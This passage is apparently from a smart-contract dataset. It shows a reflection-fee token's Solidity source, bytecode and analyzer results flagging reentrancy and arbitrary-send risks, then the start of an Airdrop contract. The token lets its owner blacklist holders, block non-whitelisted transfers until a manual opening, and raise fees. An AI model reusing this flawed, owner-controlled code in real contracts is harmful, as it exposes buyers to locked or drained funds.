RFI mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 0; // 0% uint256 private _teamFee = 10; // 10% Marketing and Development Fee uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; uint256 private _numOfTokensToExchangeForTeam = 500000 * 10**9; uint256 private _routermax = 5000000000 * 10**9; // Bot detection mapping(address => bool) private bots; mapping(address => bool) private whitelist; mapping(address => uint256) private cooldown; address payable private _Marketingfund; address payable private _Gerty; address payable private _GertyTax; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private publicsale = false; uint256 private _maxTxAmount = _tTotal; uint256 public launchBlock; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable marketfund, address payable gertytax, address payable gerty) { _Marketingfund = marketfund; _Gerty = gerty; _GertyTax = gertytax; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_Marketingfund] = true; _isExcludedFromFee[_GertyTax] = true; _isExcludedFromFee[_Gerty] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if(from != address(this)){ require(amount <= _maxTxAmount); } if(!publicsale){ require(whitelist[from] || whitelist[to] || whitelist[msg.sender]); } require(!bots[from] && !bots[to] && !bots[msg.sender]); uint256 contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance >= _routermax) { contractTokenBalance = _routermax; } bool overMinTokenBalance = contractTokenBalance >= _numOfTokensToExchangeForTeam; if (!inSwap && swapEnabled && overMinTokenBalance && from != uniswapV2Pair && from != address(uniswapV2Router) ) { // We need to swap the current tokens to ETH and send to the team wallet swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function isExcluded(address account) public view returns (bool) { return _isExcludedFromFee[account]; } function isBlackListed(address account) public view returns (bool) { return bots[account]; } function isWhiteListed(address account) public view returns (bool) { return whitelist[account]; } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap{ // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _Marketingfund.transfer(amount.div(10).mul(8)); _GertyTax.transfer(amount.div(10).mul(2)); } function openTrading() external onlyOwner() { require(!tradingOpen, "trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; publicsale = false; _maxTxAmount = 10000000000 * 10**9; launchBlock = block.number; tradingOpen = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function setSwapEnabled(bool enabled) external { require(_msgSender() == _Gerty); swapEnabled = enabled; } function manualswap() external { require(_msgSender() == _Gerty); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _Gerty); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setBots(address[] memory bots_) public onlyOwner() { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function setWhitelist(address[] memory whitelist_) public onlyOwner() { for (uint256 i = 0; i < whitelist_.length; i++) { whitelist[whitelist_[i]] = true; } } function delBot(address notbot) public onlyOwner() { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } function setRouterPercent(uint256 maxRouterPercent) external { require(_msgSender() == _Gerty); require(maxRouterPercent > 0, "Amount must be greater than 0"); _routermax = _tTotal.mul(maxRouterPercent).div(10**4); } function _setTeamFee(uint256 teamFee) external onlyOwner() { require(teamFee >= 0 && teamFee <= 25, 'teamFee should be in 0 - 25'); _teamFee = teamFee; } function excludeFromFee(address account) public onlyOwner { _isExcludedFromFee[account] = true; } function setMarketingWallet(address payable account) external { require(_msgSender() == _Gerty); _Marketingfund = account; } function setDev(address payable account) external { require(_msgSender() == _Gerty); _Gerty = account; } function setClan(address payable account) external { require(_msgSender() == _Gerty); _GertyTax = account; } function OpenPublic() external onlyOwner() { publicsale = true; } }
0x6080604052600436106101d15760003560e01c8063a587e2f3116100f7578063cdeda4c611610095578063dd62ed3e11610064578063dd62ed3e1461055b578063e01af92c146105a1578063e47d6060146105c1578063f4217648146105fa57600080fd5b8063cdeda4c6146104f0578063d00efb2f14610505578063d477f05f1461051b578063d543dbeb1461053b57600080fd5b8063c0e6b46e116100d1578063c0e6b46e1461046d578063c3c8cd801461048d578063c9567bf9146104a2578063cba0e996146104b757600080fd5b8063a587e2f31461040d578063a9059cbb1461042d578063b515566a1461044d57600080fd5b8063437823ec1161016f57806370a082311161013e57806370a0823114610382578063715018a6146103a25780638da5cb5b146103b757806395d89b41146103df57600080fd5b8063437823ec146102f45780635d098b38146103145780636f9170f6146103345780636fc3eaec1461036d57600080fd5b806323b872dd116101ab57806323b872dd14610276578063273123b71461029657806328667162146102b8578063313ce567146102d857600080fd5b806306fdde03146101dd578063095ea7b31461022057806318160ddd1461025057600080fd5b366101d857005b600080fd5b3480156101e957600080fd5b50604080518082019091526008815267476572747275646560c01b60208201525b6040516102179190611ec3565b60405180910390f35b34801561022c57600080fd5b5061024061023b366004611d54565b61061a565b6040519015158152602001610217565b34801561025c57600080fd5b50683635c9adc5dea000005b604051908152602001610217565b34801561028257600080fd5b50610240610291366004611d14565b610631565b3480156102a257600080fd5b506102b66102b1366004611ca4565b61069a565b005b3480156102c457600080fd5b506102b66102d3366004611e7e565b6106ee565b3480156102e457600080fd5b5060405160098152602001610217565b34801561030057600080fd5b506102b661030f366004611ca4565b61076e565b34801561032057600080fd5b506102b661032f366004611ca4565b6107bc565b34801561034057600080fd5b5061024061034f366004611ca4565b6001600160a01b03166000908152600f602052604090205460ff1690565b34801561037957600080fd5b506102b66107fe565b34801561038e57600080fd5b5061026861039d366004611ca4565b61082b565b3480156103ae57600080fd5b506102b661084d565b3480156103c357600080fd5b506000546040516001600160a01b039091168152602001610217565b3480156103eb57600080fd5b50604080518082019091526005815264476572747960d81b602082015261020a565b34801561041957600080fd5b506102b6610428366004611ca4565b6108c1565b34801561043957600080fd5b50610240610448366004611d54565b610903565b34801561045957600080fd5b506102b6610468366004611d7f565b610910565b34801561047957600080fd5b506102b6610488366004611e7e565b6109b4565b34801561049957600080fd5b506102b6610a49565b3480156104ae57600080fd5b506102b6610a7f565b3480156104c357600080fd5b506102406104d2366004611ca4565b6001600160a01b031660009081526005602052604090205460ff1690565b3480156104fc57600080fd5b506102b6610e45565b34801561051157600080fd5b5061026860175481565b34801561052757600080fd5b506102b6610536366004611ca4565b610e84565b34801561054757600080fd5b506102b6610556366004611e7e565b610ec6565b34801561056757600080fd5b50610268610576366004611cdc565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105ad57600080fd5b506102b66105bc366004611e46565b610f93565b3480156105cd57600080fd5b506102406105dc366004611ca4565b6001600160a01b03166000908152600e602052604090205460ff1690565b34801561060657600080fd5b506102b6610615366004611d7f565b610fd1565b6000610627338484611071565b5060015b92915050565b600061063e848484611195565b610690843361068b85604051806060016040528060288152602001612094602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906114ea565b611071565b5060019392505050565b6000546001600160a01b031633146106cd5760405162461bcd60e51b81526004016106c490611f16565b60405180910390fd5b6001600160a01b03166000908152600e60205260409020805460ff19169055565b6000546001600160a01b031633146107185760405162461bcd60e51b81526004016106c490611f16565b60198111156107695760405162461bcd60e51b815260206004820152601b60248201527f7465616d4665652073686f756c6420626520696e2030202d203235000000000060448201526064016106c4565b600955565b6000546001600160a01b031633146107985760405162461bcd60e51b81526004016106c490611f16565b6001600160a01b03166000908152600560205260409020805460ff19166001179055565b6012546001600160a01b0316336001600160a01b0316146107dc57600080fd5b601180546001600160a01b0319166001600160a01b0392909216919091179055565b6012546001600160a01b0316336001600160a01b03161461081e57600080fd5b4761082881611524565b50565b6001600160a01b03811660009081526002602052604081205461062b906115b9565b6000546001600160a01b031633146108775760405162461bcd60e51b81526004016106c490611f16565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6012546001600160a01b0316336001600160a01b0316146108e157600080fd5b601380546001600160a01b0319166001600160a01b0392909216919091179055565b6000610627338484611195565b6000546001600160a01b0316331461093a5760405162461bcd60e51b81526004016106c490611f16565b60005b81518110156109b0576001600e600084848151811061096c57634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806109a881612029565b91505061093d565b5050565b6012546001600160a01b0316336001600160a01b0316146109d457600080fd5b60008111610a245760405162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e203000000060448201526064016106c4565b610a43612710610a3d683635c9adc5dea000008461163d565b906116bc565b600d5550565b6012546001600160a01b0316336001600160a01b031614610a6957600080fd5b6000610a743061082b565b9050610828816116fe565b6000546001600160a01b03163314610aa95760405162461bcd60e51b81526004016106c490611f16565b601554600160a01b900460ff1615610b035760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016106c4565b601480546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155610b403082683635c9adc5dea00000611071565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610b7957600080fd5b505afa158015610b8d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bb19190611cc0565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610bf957600080fd5b505afa158015610c0d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c319190611cc0565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b158015610c7957600080fd5b505af1158015610c8d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cb19190611cc0565b601580546001600160a01b0319166001600160a01b039283161790556014541663f305d7194730610ce18161082b565b600080610cf66000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610d5957600080fd5b505af1158015610d6d573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610d929190611e96565b505060158054678ac7230489e800006016554360175563ffff00ff60a01b1981166201000160a01b1790915560145460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610e0d57600080fd5b505af1158015610e21573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109b09190611e62565b6000546001600160a01b03163314610e6f5760405162461bcd60e51b81526004016106c490611f16565b6015805460ff60b81b1916600160b81b179055565b6012546001600160a01b0316336001600160a01b031614610ea457600080fd5b601280546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b03163314610ef05760405162461bcd60e51b81526004016106c490611f16565b60008111610f405760405162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e203000000060448201526064016106c4565b610f586064610a3d683635c9adc5dea000008461163d565b60168190556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a150565b6012546001600160a01b0316336001600160a01b031614610fb357600080fd5b60158054911515600160b01b0260ff60b01b19909216919091179055565b6000546001600160a01b03163314610ffb5760405162461bcd60e51b81526004016106c490611f16565b60005b81518110156109b0576001600f600084848151811061102d57634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061106981612029565b915050610ffe565b6001600160a01b0383166110d35760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016106c4565b6001600160a01b0382166111345760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016106c4565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166111f95760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016106c4565b6001600160a01b03821661125b5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016106c4565b600081116112bd5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016106c4565b6000546001600160a01b038481169116148015906112e957506000546001600160a01b03838116911614155b1561148d576001600160a01b038316301461130d5760165481111561130d57600080fd5b601554600160b81b900460ff16611380576001600160a01b0383166000908152600f602052604090205460ff168061135d57506001600160a01b0382166000908152600f602052604090205460ff165b806113775750336000908152600f602052604090205460ff165b61138057600080fd5b6001600160a01b0383166000908152600e602052604090205460ff161580156113c257506001600160a01b0382166000908152600e602052604090205460ff16155b80156113de5750336000908152600e602052604090205460ff16155b6113e757600080fd5b60006113f23061082b565b9050600d5481106114025750600d545b600c546015549082101590600160a81b900460ff1615801561142d5750601554600160b01b900460ff165b80156114365750805b801561145057506015546001600160a01b03868116911614155b801561146a57506014546001600160a01b03868116911614155b1561148a57611478826116fe565b4780156114885761148847611524565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff16806114cf57506001600160a01b03831660009081526005602052604090205460ff165b156114d8575060005b6114e4848484846118a3565b50505050565b6000818484111561150e5760405162461bcd60e51b81526004016106c49190611ec3565b50600061151b8486612012565b95945050505050565b6011546001600160a01b03166108fc611549600861154385600a6116bc565b9061163d565b6040518115909202916000818181858888f19350505050158015611571573d6000803e3d6000fd5b506013546001600160a01b03166108fc611591600261154385600a6116bc565b6040518115909202916000818181858888f193505050501580156109b0573d6000803e3d6000fd5b60006006548211156116205760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016106c4565b600061162a6118d1565b905061163683826116bc565b9392505050565b60008261164c5750600061062b565b60006116588385611ff3565b9050826116658583611fd3565b146116365760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016106c4565b600061163683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506118f4565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061175457634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156117a857600080fd5b505afa1580156117bc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117e09190611cc0565b8160018151811061180157634e487b7160e01b600052603260045260246000fd5b6001600160a01b0392831660209182029290920101526014546118279130911684611071565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac94790611860908590600090869030904290600401611f4b565b600060405180830381600087803b15801561187a57600080fd5b505af115801561188e573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b806118b0576118b0611922565b6118bb848484611950565b806114e4576114e4600a54600855600b54600955565b60008060006118de611a47565b90925090506118ed82826116bc565b9250505090565b600081836119155760405162461bcd60e51b81526004016106c49190611ec3565b50600061151b8486611fd3565b6008541580156119325750600954155b1561193957565b60088054600a5560098054600b5560009182905555565b60008060008060008061196287611a89565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506119949087611ae6565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546119c39086611b28565b6001600160a01b0389166000908152600260205260409020556119e581611b87565b6119ef8483611bd1565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611a3491815260200190565b60405180910390a3505050505050505050565b6006546000908190683635c9adc5dea00000611a6382826116bc565b821015611a8057505060065492683635c9adc5dea0000092509050565b90939092509050565b6000806000806000806000806000611aa68a600854600954611bf5565b9250925092506000611ab66118d1565b90506000806000611ac98e878787611c44565b919e509c509a509598509396509194505050505091939550919395565b600061163683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506114ea565b600080611b358385611fbb565b9050838110156116365760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016106c4565b6000611b916118d1565b90506000611b9f838361163d565b30600090815260026020526040902054909150611bbc9082611b28565b30600090815260026020526040902055505050565b600654611bde9083611ae6565b600655600754611bee9082611b28565b6007555050565b6000808080611c096064610a3d898961163d565b90506000611c1c6064610a3d8a8961163d565b90506000611c3482611c2e8b86611ae6565b90611ae6565b9992985090965090945050505050565b6000808080611c53888661163d565b90506000611c61888761163d565b90506000611c6f888861163d565b90506000611c8182611c2e8686611ae6565b939b939a50919850919650505050505050565b8035611c9f81612070565b919050565b600060208284031215611cb5578081fd5b813561163681612070565b600060208284031215611cd1578081fd5b815161163681612070565b60008060408385031215611cee578081fd5b8235611cf981612070565b91506020830135611d0981612070565b809150509250929050565b600080600060608486031215611d28578081fd5b8335611d3381612070565b92506020840135611d4381612070565b929592945050506040919091013590565b60008060408385031215611d66578182fd5b8235611d7181612070565b946020939093013593505050565b60006020808385031215611d91578182fd5b823567ffffffffffffffff80821115611da8578384fd5b818501915085601f830112611dbb578384fd5b813581811115611dcd57611dcd61205a565b8060051b604051601f19603f83011681018181108582111715611df257611df261205a565b604052828152858101935084860182860187018a1015611e10578788fd5b8795505b83861015611e3957611e2581611c94565b855260019590950194938601938601611e14565b5098975050505050505050565b600060208284031215611e57578081fd5b813561163681612085565b600060208284031215611e73578081fd5b815161163681612085565b600060208284031215611e8f578081fd5b5035919050565b600080600060608486031215611eaa578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b81811015611eef57858101830151858201604001528201611ed3565b81811115611f005783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611f9a5784516001600160a01b031683529383019391830191600101611f75565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611fce57611fce612044565b500190565b600082611fee57634e487b7160e01b81526012600452602481fd5b500490565b600081600019048311821515161561200d5761200d612044565b500290565b60008282101561202457612024612044565b500390565b600060001982141561203d5761203d612044565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461082857600080fd5b801515811461082857600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220267b86e69e8f893e6b6395f7cda18b1ede5dc4135f289cf73cb4abcc345cb26564736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
9,504
0xdbAf4790D337bbCB6FC2897A1943ecd64Df2BdF7
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } contract Airdrop is IERC721Receiver { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } function onERC721Received(address, address, uint256, bytes calldata) pure external override(IERC721Receiver) returns(bytes4) { return IERC721Receiver.onERC721Received.selector; } function airdrop(address nft, address[] calldata 